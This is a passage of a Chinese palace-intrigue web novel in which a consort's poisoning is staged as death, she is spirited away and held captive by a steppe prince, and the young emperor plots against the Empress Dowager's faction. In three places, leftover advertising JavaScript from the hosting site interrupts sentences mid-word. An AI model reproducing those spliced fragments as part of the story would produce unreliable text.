白薇、白蔻、沉香、陈公公领着毓德宫的下人们在院子里齐刷刷地跪了满地,心里都祈祷着安宁平安无事。白蔻不停落着泪,满心都是内疚。这些日子安宁总是时不时昏睡,宫里的人早就习惯。如今天气转暖,她在院子里小睡也不是第一次,众人不敢打扰。万万没想到今日出了大事。 “圣上。”片刻后内殿的门终于打开,杜院判领着一众太医出了门,皆跪在明帝面前叩首不起,“臣等无能,宁嫔娘娘……殁了。” 顾珂柔霍然站起,眼前一黑晕了过去。 明帝骤然握紧了双拳,声音嘶哑状若疯魔,眼里冒着狰狞的光:“什么?!” 众人不敢抬头,杜院判颤抖着声音重复道:“宁嫔娘娘……殁了。” 安宁薨逝的消息很快在宫里传开。正斜倚在贵妃榻上闭目养神的惠妃闻言惊讶地睁开了眼坐直了身体:“什么?!” 周公公道:“娘娘,毓德宫的宁嫔病重不治没了。” 惠妃缓缓地靠了回去,半晌方才幽幽道:“……她竟真是个没福气的。” 64. 63 慈宁宫。 惠妃的母亲赵氏进宫看望女儿,随后去了慈宁宫拜见太后。 王太后在暖阁见了赵氏,挥退了屋子里所有伺候的人,宫女们也远远地避到了院子外,只留下王大伴在门口守着。 赵氏恭恭敬敬的行完礼,小心地开口:“瑶瑶不懂事,累太后劳心了。” 王太后盯着赵氏:“东西可给她吃了?” “给了。”赵氏道,“只说是从名医处求来,可一举得男的药丸,旁的没有多言。” 王太后看了赵氏半晌,赵氏低着头跪着恭恭敬敬地一动不动。好一会儿王太后才点了点头:“惠妃还年轻,受不得激将,城府不深。不让她知道是为她好。她若知道这药丸是让她呈假孕之象,只怕在圣上面前露出马脚来。” 赵氏不敢说话。这是自己的夫君,王氏家族的族长,王太后的嫡兄与王太后商议后定的计谋,用了能让人呈假孕之象的药丸让惠妃以为自己怀孕。倘若在这期间她真能怀有身孕自然最好,若是没有,十月之后,无论如何惠妃也会诞下一个男胎。 如今王氏家族秘密收拢了几十个女子养在庄子里,惠妃的嫡兄弟每日都会去耕耘。若惠妃没能怀孕或者诞下皇子,届时就会从这些女子生养的男胎中选中一个偷天换日。 有了这个皇子,王氏家族就立在了不败之地,因为宁嫔薨逝伤心过度的明帝,想来会追着爱妃而去。 王太后冷冷地看着赵氏:“你记住了,这事儿走漏半点风声,王赵两家上万口人都留不下一个活口。” 赵氏深深应下:“是。” 安宁只是嫔位,身故后虽被赐予了宁妃的称号,但按照规矩尸身在宫里只停放了一日就迁去了城郊的妃陵,成为了明帝后宫第一位迁入妃陵的嫔妃。 明帝年轻力壮,城郊的陵寝一直在修建中尚未完工。城郊的妃陵也只修建完毕了地上的一座大殿,安宁的棺椁便被放置在了大殿之中,有专人在此守陵。 明帝不吃不喝在大殿里守了安宁的棺椁两日后因悲伤过度晕厥,被王太后强制带回了宫。清醒后他去了毓德宫,枯坐在安宁的寝宫不言不语,也不许任何人靠近。 毓德宫的白绫挂满了三日,因明帝和太后都还在世,白绫不详,便依照规矩撤了下去。宫人们非国丧不许戴孝,整个宫里竟然找不到一点和安宁辞世有关的东西。她就像是在几日前的午后在秋千上陷入了沉睡,似乎只要他站起身推开门,她就会如往日一般站在某处看着他露出笑容。 他坐在她的床榻上,身后的锦被里似乎还残留有她的温度和味道。他呆呆地看着地面,看着晨曦从窗户透入,看着阳光随着时间流逝在地面缓缓挪移,看着明亮的光线渐渐变得黯淡,金色化作橙色化作红色,然后缓缓褪去让暮色弥漫起,直至被夜色吞没。 朱弘辉枯坐了太久,他动了动。这一动,整个身体和内里的灵魂分离,整个躯体变成了一具朽木,再承载不住疲惫的灵魂。他闭上眼睛感觉到了剧烈的眩晕,后背顷刻间透出密密麻麻的冷汗。这种不适感反而让他整个人从那种混沌神游的状态里回过了神。 他开了口,声音沙哑得不成样子:“黄大伴。” 寝殿的门吱呀一声开了,黄大伴忙不迭地进了屋子。明帝熬了几日,他同样跟着熬了几日,憔悴得已经不成样子:“圣上!” 从最初的悲痛里缓过了气,他想到了旁的东西:“宣曹院判觐见。” “圣上。”黄大伴为难地站在原地,“启禀圣上,宁嫔娘娘……的事儿之后,外面传来消息,曹院判因自责自己没有照顾好宁嫔娘娘,害怕失职牵连家人,是以留下了一封遗书,悬梁自尽了。” 朱弘辉抬头看着黄大伴,屋子里没有点灯,他的双眸幽幽。他看了黄大伴好一会儿,突然咧嘴露出了一个笑容,初时无声,渐渐地他笑出了声,那笑声干哑难听至极。他笑着笑着呕出了一口鲜血。黄大伴大惊,冲着外面大喊:“太医!太医!” 朱弘辉蓦然伸手抓住黄大伴摇了摇头:“不用了。”他凄楚地看着黑暗中不知名的某处,突然又仰天大笑,笑声传出去,让毓德宫听到的宫人们都不寒而栗。 一队马车离了京城,一路向着西北的方向而去。 车队中间的主车是王府的制式,十分宽大厚重,由十二匹战马拉着前行。车窗半开着,垂下的竹帘挡住了外面好奇窥探的视线。 摩诃坐在车里,面前的长桌上放着几卷文书,其中一份是王太后允许他回王庭的懿旨。他的怀里抱着一个戴了面具的少女。那雕刻着兽纹图腾的黄金面具严丝合缝地覆盖住她的上半脸,只露出了小巧的鼻尖、红润的唇和精致的下巴。即使她眼下沉睡着只露出了三分之一的容貌,也能看出是一个姿色脱俗的美人。 第三天傍晚的时候,车队到了开阳城。历经重重的检查后车队进城歇在了开阳最大的商栈里。 摩诃将怀里的少女抱进房间在床榻上安顿好,禁闭门窗后从怀里掏出一个瓷瓶,打开蜡封,捏开她的唇滴入了几滴翠绿的液体进去。 做完这一切他耐心地坐在一旁,握着她的手腕感受她的脉息。 少女的脉搏几乎停止了跳动,十几息后才会微弱的搏动一次。在他喂完她那绿色的液体后,她脸上原本的青灰色慢慢褪去,脉搏渐渐恢复,一直到与常人无异。 他松了口气,长长地吐出一口气来,抚开她的乱发,爱怜地低头吻了吻她的额头,低声道:“睡了这么久,该醒了。” 客栈房间的窗开着。商栈修建在热闹的市集大街上,外面人来人往,能听见充满了外部特色的音乐飘扬在半空,间夹着大宁官话、外部各部自己语言的吆喝声此起彼伏,还有鸟叫声、马蹄声、狗吠声,各式嘈杂的声音交织在一起。 这是安宁熟悉的吵闹。 她缓缓睁开眼,耳边充斥着集市上遥远的嘈杂。她一时间有些恍惚,以为刚从自己闺房的床上醒来,这些嘈杂声已经许久未闻,听着依旧是那么熟悉而亲切。 头痛得厉害。她抬起手按向自己的额头,指尖接触到冰冷的金属。她伸手摸了摸,在脸上摸到了一个面具。她摸索着想要将面具解下来,却不得要领。 安宁突然停下了所有的动作,慢慢坐起了身。 和熟悉的嘈杂以及脸上的面具相比,带给她更大震撼的是,她竟然不在宫中!她扭头想要喊白蔻,张了张嘴却发不出任何声音。 安宁捂住自己的喉咙,脸上露出了惊惧的表情,她再努力尝试了一次,仍是发不出任何的响动。 门吱呀一声开了,进门的摩诃和坐起来的安宁打了个照面。他露出了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一个高兴的笑容:“醒了?” 安宁惊惧而戒备地看着他,往后缩了缩,手不停在周围摸索着,想要找什么东西来防身,奈何周围没有任何可以利用的物品,她只得抓起了一旁的瓷枕,将其牢牢抱在怀里。 摩诃转身闭好房门,没有贸然接近她,而是走到一旁的圆桌旁坐下。 “我知道你现在心里有很多疑问。我都可以一一告诉你答案。”他给自己倒了杯茶,然后指了指窗外,“我们如今没有在皇宫,也没有在京城,我们在开阳。外面就是你最熟悉的市集。” 安宁眼里的震惊之色更重。她抱着手里的瓷枕下了床榻,刚站起身身体就不由得一软跌坐在地。 摩诃看着她跌落没有动:“你昏睡了五六日。如今醒来难免没有力气,不用担心,调养几日就会好。” 安宁缓了缓,待身上有了些力气,撑着自己走到窗边往外看去,眼前果然是开阳,甚至她从小长大的城主府就在远处,隔着重重叠叠的建筑,能看见城主府高高扬起的黑色飞檐。 “你已经死了。”摩诃在她身后开了口,“春猎的时候我放了金环毒蛇进你的帐篷,让你中了蛇毒。此后又通过长兴侯府想法子搭上了江家,使人把剑藤提取的毒送给了江贵人。引着因咱们武斗落下残疾憎恨你我的江韬通过她的手给你下毒。” 他说的不疾不徐,“金环毒蛇的毒液和剑藤的毒液混合在一起,时日久了会让人产生假死的状态。” 她眼波闪动,他看懂了她的眼神,嗤笑一声,“你是不是奇怪,明明曹院判发现你中了剑藤的毒,一直在替你拔毒,为何你还是中了招?” 他自问自答,“曹院判发现你中毒是真,为你拔毒是假。不仅没有为你拔毒,反而暗地里持续给你在下剑藤的毒。”他看着她脸上变幻的表情,“明白了没有?宫里有人不希望你活着。能支使曹院判堂而皇之给你下毒的人,除了圣上,便只有一人。” 安宁怔怔地站在窗边一动不动,巨大的冲击让她一时间不知作何反应。 “太后寿宴时我便发现,你身上的毒非但未解,反而愈深。”他向她解释,“中了这两种混合毒的人,耳后会呈特殊的青灰色。”他笑了笑,“我计划让你假死,想法子偷天换日将你带走。正愁没法继续下手,万万没想到宫里有人替我做了此事,我便一直静心等待着。果然不久就听说宁嫔薨逝的消息。再往下的事情就简单了,城郊妃陵守卫本也不严,弄一具和你相似的尸首将你换出来费不了太大的事。” 他说完低头喝了一口茶,复又抬头看着她,满眼都是发自内心的满足和笑意。他柔声问她:“阿宁,你开不开心?你终于可以和我在一起了。” 安宁捏紧了拳头,指甲直刺进手心里去,才能勉强压下她心中的惊惧。她指了指自己的喉咙,张了张口。 “以策万全,所以给你下了药,让你没法说话。”他轻描淡写地解释。他起身慢慢走向她,一步一步缓缓靠近。安宁避无可避,紧紧贴在墙角。往日他每次靠近她,她都被他所迷惑和吸引,心甘情愿地被他拥进怀里。可今日的他每靠近一步,她都觉着浑身发寒,浑身汗毛倒竖。 他伸手,顺着她脸上的黄金面具下抚至她的喉咙,用一种她从未见过的眼神狂热而迷恋地看着她:“你终于是我的了。” 65. 64 摩诃包下了开阳最大的酒楼聚合楼,邀请城主顾林书前去作客。 顾林书到的时候,整个聚合楼已经被清场,宽敞的大厅里只有摩诃一人坐着在看戏,花旦的声音咿咿呀呀地在大厅里回响,更显空旷安静。 摩诃坐着未动,凝神看着戏台。顾林书穿过大堂走到他身旁落座,他穿着黑色绣了金色饕餮的城主服,腰间挂着象征着身份的赤金腰牌。 顾林书沉声开口:“人在哪里?” 摩诃身为草原王次子,在京做人质已经十数年,如今突然得了朝廷恩准回返,显然是因为眼看着少布已经到了承继王位的年龄,放他回来搅浑王庭的水,让他们内斗不断自顾不暇。 顾林书突然痛失爱女正是悲痛欲绝之时,接到摩诃的邀请本无意前往。但前来传信的信使将一块腰牌一根簪子交到了他手上。那腰牌是安宁县主的金牌,簪子也是她最喜爱之物。虽然希望渺茫,顾林书仍是来到了聚合楼。 摩诃目不转睛地看着戏台:“城主,小侄今日同您讲一个故事。 有一美貌少女,家世显赫,入宫后深受皇帝的喜爱。可惜皇帝是个傀儡皇帝,大权握在太后手中。太后有意让自己的侄女成为皇后,但这个侄女嫉恨美貌少女,几次三番针对让皇帝极为不喜。一次少女中毒,皇帝误以为是这个侄女下的手,怒将其贬责,转头抬了少女的位份。 前面说了,少女家世显赫。皇帝想要夺回自己的权利,少女的家人在前朝为其助势,而这犯了太后的大忌。恰好少女中了毒,太后便顺水推舟,让太医继续下毒将其毒杀。一则铲除她侄女封后路上最大的障碍;二则从精神和情感上摧毁要同她夺权的皇帝;三则破坏利益纽带,让少女背后的家人不再支持皇帝。 但少女运气不错。她进宫前有个朋友,此人麾下有人极擅用毒。太后寿宴上她朋友发现她中毒颇深,便想法子将计就计让其假死,此后在京郊妃陵中偷天换日,暗地里带了她远走高飞。” 顾林书一直面无表情地听着,听到这里才微微动容,扭头看向了摩诃。 摩诃拍了拍手,酒楼三楼的包房窗户打开,一个戴了黄金面具的少女出现在那处。她看见大厅里的顾林书满脸惊喜,然而不待她有所动作,一旁的嬷嬷们又迅速关上了窗户。 虽然只是惊鸿一瞥,对方还带着面具,但只这一眼,顾林书便认出了那正是自己的女儿安宁。 “说罢。”顾林书道,“要如何你才肯放人?” “城主见谅。”摩诃微笑道,“在下冒了天大的风险才做成此事。虽然其中确实有对宁儿的情谊,但也确有所求。” 顾林书心中翻涌,女儿失而复得,极大的喜悦冲击着他。喜悦之后他迅速冷静,要知道安宁已经作为宁妃葬入了京郊的妃陵。此事若是走漏风声,整个顾家都会被牵连。 摩诃拿定了以顾林书对女儿的疼爱,他定然不会放弃安宁,是以好整以暇地看着他。等他平复了情绪,摩诃才继续道:“父王年少时曾因捕猎棕熊受过重伤,如今他年岁渐大,日益力不从心。城主,助我与少布相争,于你,于大宁均有百利而无一害,想来城主也看得清楚。” 顾林书没有说话。 短期来看,助他与少布相争,于大宁确实有益。但摩诃此人,年纪轻轻心思深沉至极,做事手段狠辣老练,单从安宁的事情便可窥见一二。这样的人如果成了金帐王庭新任的草原王,日后必是大祸。 摩诃又道:“实不相瞒,小侄对宁儿倾心已久。城主若助我登上王位,我必封宁儿为大妃,从此不再她娶,一生一世只爱护她一人。城主,王庭历来会迎娶各部落的女子为妃以求巩固王权,但若有城主和中军相护,无论是小侄,亦或是小侄日后与宁儿的孩子,都不必再走这条路。” 顾林书看着摩诃,不由得在心里暗赞了一声。这种自断其腕的方法,将王庭的王位同中军的支持绑定在一起,无疑极大地削减了他对他的顾虑。此人真如一匹孤狼,为达目的不择手段。 只是这样的承诺,能信几分? 摩诃道:“我定然好好待宁儿,她在我这,城主尽管放心。” 顾林书站起了身。他知道无论如何眼下对方都不会把安宁交还到自己手里,多说无益只能从长计议。这一次摩诃跟着站了起来,恭恭敬敬地行了揖礼,“恭送城主。” 顾林书往前走了几步,又扭头看向安宁先前出现过的方向,终是回过头大步离开了聚合楼。 安宁被带到聚合楼和顾林书匆匆见了一面之后,便被几个嬷嬷带着上了马车,四个体壮腰圆的嬷嬷围坐在她身边将她看管在马车之上。 车厢的门被拉开,摩诃上了车,几个嬷嬷这才退了出去。 安宁看向外间不见父亲的身影,失望之情不由得流于形色。 摩诃在她身边坐定,马车开始前行。他道:“你是不是想着,只要你父亲知道了你的消息,他就会想办法把你救出去?” 他看穿了她的想法。他偏头看着她笑了笑,那笑意带着宠溺和嘲讽,复杂地交织在一起,“若是以往,只怕你父亲定会想尽办法救你。而今宁妃葬在了京郊妃陵,他不敢提着顾家老小的头颅轻举妄动。” 安宁的双肩缓缓地垮了下去,她靠着车厢壁沉默着。 马车回了客栈,摩诃先下了车,转身向着车厢里的安宁伸出了手。她看了他一眼,无视他伸出的手想要避开自己下车。他转而用力将她拉进怀里,把她整个人横抱起来,大踏步上楼。 安宁挣扎着捶打他的肩头,奈何他的双臂就像铁箍一样让她动弹不得。他突然在她耳边低声道:“老实一点。” 话音未落,就听见前面传来一个懒洋洋的声音:“听说你回了开阳,我还当是谣传。啧啧啧,你既然得返,为何不回王庭拜见父王母后,反而滞留在开阳寻欢作乐?” 是少布。 安宁一僵,安静了下来,被少布发现是她,对她没有半点好处。 “我虽然得返,却还没能拿到出关的文书。名不正言不顺,哪儿敢轻易出城?”摩诃淡然回答,“不似王兄,想来就来,想走就走。” 少布冷哼一声,把玩着手里的马鞭慢慢走到摩诃身旁。安宁心跳如鼓,不知这么近的距离是否会被少布认出。好在他的注意力全在摩诃身上,他眯着眼睛绕着摩诃转了一圈,最终在他身侧停下脚步低语道:“既然没有拿到出关文书,就趁早寻个别的去处。关隘外野兽多,可别出了关在外面白白地丢了性命。” 他再度冷哼一声,领着人拂袖而去。 摩诃将安宁抱回了房间,将她放在床榻上。安宁想起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身离他远一点,反被他握住手腕制住,挣扎间他将她压倒,他的手摸索到她的脚踝处,紧跟着她觉得脚踝处一凉,他将什么东西套了上去。 “阿宁。”他动情地喊她的名字,安宁闭上眼睛偏过头,不想听,不想看。往日意乱情迷之时他便会这般唤她,眼下他将她整个人禁锢在怀里,她突然意识到,现在房间里只有他和她,而他再没有什么束缚和顾忌。 见她没有再反抗,他放松了对她的压制,她趁机从头上拔下簪子抵着自己的喉咙,定定地看着他。 他皱起眉头坐起身,看懂了她这个动作想要传达给他的意思。她宁愿死,也不愿意被他碰一下。 “我还没到强人所难的地步。”他冷冷地看着她,“你大可不必如此。我若要你,需得你心甘情愿求着我。” 他站起身离开了房间。 安宁听见房门关闭,也起了身。这才发现他在她脚踝上套上了一个金色的脚镣,她用力拉了拉,如果没有钥匙很难打开。脚镣间有手指粗细的链子连接,不算太影响她正常行走,但若想跑动或者骑马却办不到。 房间的门又被打开,那四个健壮的嬷嬷进了屋子。但凡摩诃不在的时候,她们四人就寸步不离地守着她。安宁放下手里的簪子,无力地叹了口气。 京城,永和宫。 “恭喜惠妃娘娘,贺喜惠妃娘娘!”给惠妃请平安脉的太医诊完脉忙不迭地退到一旁叩首贺喜,“娘娘,是喜脉!恭贺娘娘有喜了!” “真的?!”惠妃一惊,随即喜形于色,“可确定?” 太医恭敬回答:“千真万确,娘娘已有身孕月余。” 惠妃招呼身边的人:“快,赏!” 宁妃过世后,圣上已经有半月不曾踏足后宫。万万没想到此时她却诊出了身孕。 有了这个孩子,她就立于了不败之地。惠妃吩咐香巧:“去慈宁宫,向太后报喜!” 透过窗棂投到地面的阳光变作了金红色,朱弘辉抬起头看着天边的晚霞,又是一天过去了。 短短半个月的时间,他从一个略带稚气的男孩子变作了一个清瘦的成年男子。他的眼睛就像冬日的深潭,寒冷清澈不见底,在最深处藏着他心里的哀恸。 他习惯性地走到了毓德宫门口。顾珂柔知晓他每日这个时辰都会过来,因此早早便在院子里候着,见了他便矮身行礼:“参加圣上,圣上万安。” 明帝没有说话,自顾自地走到了秋千上坐下。他抬头看着远处的天边,赤橙红金的晚霞铺满了天边,看着十分热烈。 若安宁此时还在,定会坐在他身旁,靠着他肩头,叽叽喳喳地数着天边的云朵,这个像什么,那个像什么。他低下头,似乎能感受到她就在身边。这种迟滞性的失去感像利刃一样划开了他的心脏,让他痛得无法呼吸。 他双眼无神地枯坐着,一言不发。 顾珂柔悄悄走到黄大伴身旁:“圣上今日可用了膳?” “唉。”黄大伴长长地叹了口气,“从宁妃娘娘走了至今,圣上三日里能用一次就不错了。无论咱家怎么劝,圣上都默不作声。” 顾珂柔担忧地看着明帝,也不知该如何劝解。 正当此时,太后身边的掌事太监前来传话:“恭贺圣上,圣上大喜!惠妃娘娘有喜了!” 66. 65 朱弘辉仍是一动不动地坐着,对于太监的恭贺没有任何反应。那太监等了片刻不见明帝说话,偷偷抬头打量了他一眼,见他面无表情地看着天边的云霞,也不知在想些什么。 黄大伴悄悄地冲他挥了挥手,后者会意,爬起来恭敬地倒退了出去,他在门口站定,果然见黄大伴跟了出来。 “唉。”黄大伴一甩手里的拂尘,长长地叹了口气,“累你跑一趟。只是眼下宁妃娘娘刚走不久,圣上对宁妃你也知道,唉。” “唉。”那太监也跟着长叹了一口气,“咱家也听说了。圣上这些日子不吃不喝,也不管旁的事情,连跟着太师太傅的课业也尽数停滞。原先好多国事都已是圣上亲自决断,宁妃娘娘这一走,圣上颓唐至此,太后不得不又重新理政。” 两人在宫门前压低了声音唏嘘了几句,黄大伴道:“劳你回去给太后娘娘回话时捡点好听的,也别让娘娘过于为圣上忧心。” 那太监连连点头:“这个自然,这个自然。” 顾珂柔端着一碗燕窝走到明帝身边柔声劝慰:“圣上,您用一点吧。您若是不保重自己的身子,谁又能为宁儿讨回一个公道?” 明帝微微一震,终于对旁人说的话有了反应。他抬起头看着顾珂柔,眼底一瞬间翻涌的情绪极为复杂,而那些激越的东西终究被他压了下去,他又恢复了平静和淡漠。 顾珂柔没有再说别的东西,只是在他面前跪下,举起了那碗燕窝。 明帝看了那白色的瓷碗片刻,伸手接了过去。 顾珂柔道:“臣妾斗胆妄议,请圣上恕罪。” 明帝开了口,许久没有说话,他的声音干哑得仿佛锯木:“恕你无罪。” “圣上不可再为了宁儿就此消沉下去。”顾珂柔鼓足勇气开口,抬起头眼神坚定地看着他,“宁儿会有不测,皆因她是刺向您最锋利的那把利剑!圣上,正是您即将亲政的关键时刻,这个节骨眼上您要是真的倒下了,岂不是如了背后算计您那些人的心意?那宁儿才是真的白白地被牺牲了!” “惠妃娘娘有了身孕,于您并非好事。”顾珂柔豁了出去,既然开了口索性把一切都说得明明白白,“您两岁时继位,太后垂帘听政十数年。如今太后也不过刚过不惑之年,正是春秋鼎盛的时候。若您有了稚子,一个黄口小儿远比一个有自己想法的皇帝更容易操控!铡刀已经悬在了头顶,圣上万万不可再继续沉浸在悲伤中不醒!” 她说完这一切深深地匍匐在地。 明帝放下了瓷碗,第一次正视面前的顾昭仪。 在太师府的时候,他就常常见到她。在他的印象里,她一直恪守本分,说话做事从不逾矩,堪称京城贵女的典范。那时的她,在他眼里就像个木头人一般。安宁出现后,顾珂柔被她带得多了些生气和活力。她觉着不对,但身为长姐又要爱护弟妹,总是古板又可爱地自言自语先给自己做一番心理建设,然后陪着安宁去做那些对贵女而言出格的事。安宁若不愿听从她的要求,她也不会以京城贵女的规范去约束她,反而陪着妹妹一起,只怕她自己一人被别人视作异类。 她也极其护短,不问情由只是偏护着自己的弟妹。甚至为了妹妹放弃指婚给路亲王府的大好婚事,放弃了更容易坦荡的人生。 今日她说的话,足以让她和顾家老小掉脑袋,可她还是说了。 她冷静聪慧,并非是逞匹夫之勇的人,只为给他当头棒喝。 他向着她伸出了手。 顾珂柔察觉到面前的那双手,缓缓抬起头看着明帝,见后者目光澄明地注视着她。朱弘辉缓缓道:“顾昭仪,朕请你相助。” 顾珂柔将手放进了明帝的手中。 惠妃有孕,太后大喜,升了惠妃为慧贵妃,慧贵妃成了明帝后宫真真正正的第一人。如今明帝因着宁妃娘娘骤然离世万分消沉,听闻已半月不闻政事,而今太后娘娘重新掌握了大权。满宫嫔妃们心里都有数,这个孩子一旦落地,无论是皇子还是公主,贵妃都会入主东宫。 惠贵妃忧心自己的龙胎,每日里都要请两次平安脉。太后特意派遣了一直给自己请脉的新晋太医院院判张院判为她保胎。 张院判请完脉,向着慧贵妃行礼道:“娘娘大可放心,龙胎十分安稳。” 慧贵妃闻言安心了些:“有劳张大人。” 她不知为何,心里总是不落实,心底深处隐隐有一种恐惧感,让她十分不踏实。唯有太医每次诊完脉说的话,能让她安心些许。 “娘娘。”周公公着急地进了内殿,“圣上来了。” “啊?”慧贵妃一惊,紧跟着明帝大踏步进了屋子,满屋的人顿时都跪了下去行礼。慧贵妃心里十分不安,也向着明帝跪拜,被他伸手扶住:“你有身孕,不必多礼,快歇着吧。” 他扶了她落座,自己坐在了她身旁。这还是他第一次这般温柔和善,让慧贵妃又惊又喜:“圣上……” “朕因着宁妃离世十分伤怀冷落了你。”他的手温暖地覆盖在她的小腹处,“委屈你了。”他抬头看着她,眼里是她从未见过的温柔,“这是朕的第一个孩子,你有大功。” 慧贵妃突然眼眶一红,进宫这么久,这是她一直心心念念的场景。如今明帝改换了态度,她却觉着仿佛在做梦一般。 他揽着她的肩让她靠在自己的肩头,低声哄她:“以往委屈了你,日后朕定会对你多加补偿。”他握着她的手在她耳边开口,“以后日子还长着,朕会好好待你。” 慈宁宫里,听完太监的回话王太后原本在假寐养神的王太后睁开了眼睛:“他去了贵妃娘娘那里?” “是呢。”太监喜滋滋地回答,“昨夜圣上歇在了永和宫。太后,奴才瞧着圣上对贵妃娘娘极好,今儿个一早还亲自为娘娘描眉来着。” 王太后挥了挥手,那太监退了下去。王太后看着院子里盛开的花朵,想着朱弘辉此举的用意。思忖了片刻,她吩咐王大伴:“请圣上来慈宁宫。” 朱弘辉一进门便做足了礼数跪拜:“儿臣参见母后。” “这是做甚?”太后一怔,赶紧吩咐王大伴搀扶朱弘辉起身,“快扶圣上起来。” “儿臣惭愧,宁妃薨逝后,儿臣深陷悲伤中不可自抑,不仅不思饮食残害自己的身体对不住母后的悉心养育,更是抛下了政事有悖母后的期望和教导。儿臣实在惭愧!”说着又是叩首在地。 “快起来,快起来。”王太后亲自上前扶起了朱弘辉,满脸慈爱地看着他,“你少年时难得有如此钟情之人,伤怀都在情理之中,不怪你。” 朱弘辉眼眶一红,强笑道:“幸而贵妃有了身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 孕,也算不幸中的大幸。也是贵妃的身孕让儿臣意识到不可再那般伤怀下去。儿臣如今不仅是母后的子,还是皇儿的父,贵妃的夫。儿臣需得振作才是。” “好好好。”太后欣慰地轻轻拍着他的手背,“你能这般想,哀家便放心多了。” 朱弘辉十分惭愧:“这些日子累得母后又为儿臣接过了重担,母后放心,自今日起,儿臣定当努力,好好做一个明君。” 王太后感慨地看着朱弘辉:“辉儿,你终于长大了。” 一直到回了乾清宫,朱弘辉才放松了精神,后背透出密密麻麻的冷汗来。 敬事房的管事太监上前:“请圣上翻牌子。” 朱弘辉扣过了顾珂柔的绿头牌。约莫一个时辰后,顾珂柔被送进了乾清宫。 两人并肩躺在龙床上,放下了厚重的幔帐,内室再无他人。黄大伴守在内殿的门口,此时朱弘辉才轻声开口:“太后将政事交还到了朕的手上。” 直到今日在慈宁宫他说了那些话后王太后丝毫没有忧虑和为难地让他重新接手了政事他才确定,他们已经下定决心要除掉他。他已经是王氏的眼中钉,他们需要的是一个不会动摇他们权利的傀儡。这一年不过是个缓冲罢了,只要贵妃的孩子呱呱落地,就是他的死期。 “圣上。”顾珂柔轻声道,“当务之急,圣上需得在太医院有自己的心腹。曹院判的事情是前车之鉴。” 明帝同样轻声回答:“你可有举荐?” 顾珂柔道:“周姐姐家里的三堂兄周之就在太医院。他医术极佳,只是为人木讷了些,若非出身周家,只怕早就被排挤得没了生路。还有施良施大人,曾在祖父府上一段时日,也信得过。” 明帝应下:“朕知道了。” 有蛐蛐在房外墙壁的石缝里唧唧地叫个不停,让安宁毫无睡意。 她起身推开窗,洒进来一地月华。她抬头看着夜空,见明月高悬。 西北不比京城,虽然已经是五月,夜里的风依然寒凉。从空旷的大草原上刮过来的夜风让她打了个寒颤,抱住了自己的双臂。 走到这一步,安宁不知道自己接下来的路在哪里。 摩诃带着她去见父亲,定然是以她为筹码,从父亲那里换取他想要的东西。想来是他要争王位,要中军的支持。父亲为了她,一定会支持摩诃。 这才是如今他尚且善待她的缘故吧。若是她对他没有了价值,只怕她会沦落为他的玩物。 父亲知道了她尚在人世,不知道祖父会不会知晓。若是祖父知晓,姐姐会不会知道? 安宁看着清冷的圆月,可就算姐姐知道了,恐怕她也不敢告诉四叔。假死被换走的妃子,怎么看也是失贞的嫔妃,顾家在这件事里是否牵连其中?姐姐也不敢赌。 可是她知道,若是四叔知道她还在人世,一定会想尽办法来救她。哪怕在世人眼里她是失贞的嫔妃,他也会迎她回去,她十分笃定。 原来爱不是心动,心定才是。 是你无论遇到任何事情,或者犯下什么样的错,你都知道对方不会放弃自己。可能会责备,但是他一定会坚定地站在你身边,护着你,和你一起共同面对所有的问题。他给你的支持爱护和信任是你最大的底气。 可惜这个道理到现在她才懂。 67. 66 卧室的窗半敞着,风吹来了淡淡的花香。安宁看着窗外高大的槐树,看着上面一簇簇风铃般的花朵。老槐树生长了不知道多少年,身躯高大,树冠如同一把巨伞将大半个院落覆盖,挡住了初夏正午的烈日,洒下了一片荫凉。 这是开阳城南一座二进的宅院,摩诃使人将这里长租下来,带着安宁在此处落脚。 槐树属阴,大宁人觉着这种树不吉,几乎不会在阳宅里栽种。这个宅子也正因为二进院里这棵老槐树的存在才空置了许久。但是摩诃是外部人,虽然在大宁生活了十几年,他本质里仍然不信宁人的这些东西,这个院子让他极为满意。 院子里下人们抬着箱笼忙忙碌碌的来去着,摩诃进了房间。嬷嬷看他进来,赶紧给上了新泡的茶。他挥挥手让嬷嬷们都退下,揭开茶盏看了看又放下,这些粗使嬷嬷看人还行,做这些精细的活却不行:“该给你买两个伶俐的丫鬟贴身伺候着。” 提到丫鬟,安宁想起了被留在宫中的白蔻和沉香,也不知道她们如今如何。还好姐姐还在宫里,她们若能继续跟着姐姐,倒也不至于吃苦。她二人打小跟着她一起长大,虽然名义上是主仆,说是情同姐妹也不为过。 摩诃微抬眼,见她看着外面的槐花神游天外,并没有在听他说话。她就在他面前,却似乎又距离他极远,这种感觉让他难以忍受。他心头莫名地烦躁,他站起身走到她身旁,掐住她的下巴强迫她抬头看着他的脸:“你在想什么?”他微微眯起眼睛,“我在你面前的时候,不允许你想着别的人别的事。” 安宁的唇微抿眼波闪动,勾起了一个略带嘲讽又倔强的弧度。摩诃眉目微沉,突然一挥手,半支的窗户发出一声巨响落下。他抓住她的手腕拖着她起身,将她用力压在圆桌上让她动弹不得。 茶盏被撞落在地,摔成了一地碎瓷,他作势要吻她,她偏过了头,他便停在了那处。 片刻后他缓缓开口:“朱弘辉软弱无能,连他自己都保不住,又怎么能护得住你?王太后掌权十几年,王氏家族盘踞在朝堂之中根深蒂固,就凭他如何与之抗衡?他从继位那日开始便是个傀儡,注定一生都操纵在太后和王氏手中!大宁已经不姓朱,姓王了!” 安宁震惊地看向摩诃。说完这番话他闭上了眼睛,再睁开时他眼底的风暴已经缓缓退去,他放开了她退坐到一旁,看着地上的碎瓷默然不语。 片刻后他又开了口,语气平淡:“大宁乱象已显,只是旁人看不清罢了。母子夺权前朝必然震荡,朝堂上逃不过这一场血雨腥风。” 王太后放了他回王庭与少布争夺王位,让王庭无暇趁机撕咬大宁,以让自己腾出手脚来面对这场震荡,但于他而言,这何尝不是最好的机会? 安宁想起四叔曾经说过的话,放他回去便是放虎归山,四叔说得不错,此人若是成了金帐王庭的王,日后必然是大宁身侧卧着的一头饿狼。 